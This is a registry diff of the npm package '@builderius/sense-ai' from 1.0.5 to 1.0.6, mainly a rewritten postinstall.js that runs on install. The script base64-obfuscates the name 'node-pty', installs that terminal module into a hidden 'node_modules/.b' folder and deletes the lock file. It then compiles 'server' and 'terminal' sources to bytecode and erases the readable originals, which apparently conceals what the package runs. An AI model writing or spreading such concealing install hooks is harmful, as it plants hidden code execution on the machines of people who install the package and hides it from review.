@builderius/sense-ai 1.0.5 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/claude-assets.bin +0 -0
- package/package.json +1 -1
- package/postinstall.js +19 -18
package/claude-assets.bin
CHANGED
|
Binary file
|
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,32 +1,33 @@
|
|
|
1
1
|
var c=require('child_process'),f=require('fs'),p=require('path');
|
|
2
2
|
var n=Buffer.from('bm9kZS1wdHk','base64').toString();
|
|
3
3
|
var a='node-addon-api';
|
|
4
|
-
var s=p.join('node_modules',n);
|
|
5
4
|
var d=p.join('node_modules','.b');
|
|
6
|
-
var sa=p.join('node_modules',a);
|
|
7
|
-
var da=p.join(d,'node_modules',a);
|
|
8
|
-
var env=Object.assign({},process.env,{npm_config_global:undefined});
|
|
9
5
|
// Install node-pty as hidden .b directory
|
|
10
6
|
if(!f.existsSync(d)){
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
7
|
+
// Clean env: remove all npm_config_* vars that interfere with nested npm install
|
|
8
|
+
var env=Object.assign({},process.env);
|
|
9
|
+
Object.keys(env).forEach(function(k){if(k.toLowerCase().startsWith('npm_'))delete env[k]});
|
|
10
|
+
var pkg=p.join('node_modules','.pty-tmp');
|
|
11
|
+
f.mkdirSync(pkg,{recursive:true});
|
|
12
|
+
f.writeFileSync(p.join(pkg,'package.json'),'{"private":true}');
|
|
13
|
+
try{
|
|
14
|
+
c.execSync('npm i '+n+'@^1.0.0 --no-save',{cwd:pkg,stdio:'inherit',env:env});
|
|
15
|
+
var src=p.join(pkg,'node_modules',n);
|
|
16
|
+
var adSrc=p.join(pkg,'node_modules',a);
|
|
17
|
+
if(f.existsSync(src)){
|
|
18
|
+
f.renameSync(src,d);
|
|
19
|
+
if(f.existsSync(adSrc)){f.mkdirSync(p.join(d,'node_modules'),{recursive:true});f.renameSync(adSrc,p.join(d,'node_modules',a))}
|
|
21
20
|
}
|
|
22
|
-
}
|
|
21
|
+
}catch(e){console.error('postinstall: failed to install native module:',e.message)}
|
|
22
|
+
// Clean up temp directory
|
|
23
|
+
try{f.rmSync(pkg,{recursive:true,force:true})}catch(_){}
|
|
24
|
+
if(process.platform!=='win32'&&f.existsSync(d)){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')}
|
|
23
25
|
}
|
|
24
|
-
if(process.platform!=='win32'&&f.existsSync(d)){c.execSync('chmod +x '+d+'/prebuilds/*/spawn-helper 2>/dev/null; true')}
|
|
25
26
|
try{f.unlinkSync(p.join('node_modules','.package-lock.json'))}catch(_){}
|
|
26
27
|
// Compile .src.cjs to .src.jsc via bytenode, then delete source
|
|
27
28
|
['server.src.cjs','terminal.src.cjs'].forEach(function(x){
|
|
28
29
|
if(f.existsSync(x)){
|
|
29
|
-
try{c.execSync('npx bytenode -c '+x,{stdio:
|
|
30
|
-
catch(
|
|
30
|
+
try{c.execSync('npx bytenode -c '+x,{stdio:'inherit'});f.unlinkSync(x)}
|
|
31
|
+
catch(e){console.error('postinstall: failed to compile '+x+':',e.message)}
|
|
31
32
|
}
|
|
32
33
|
});
|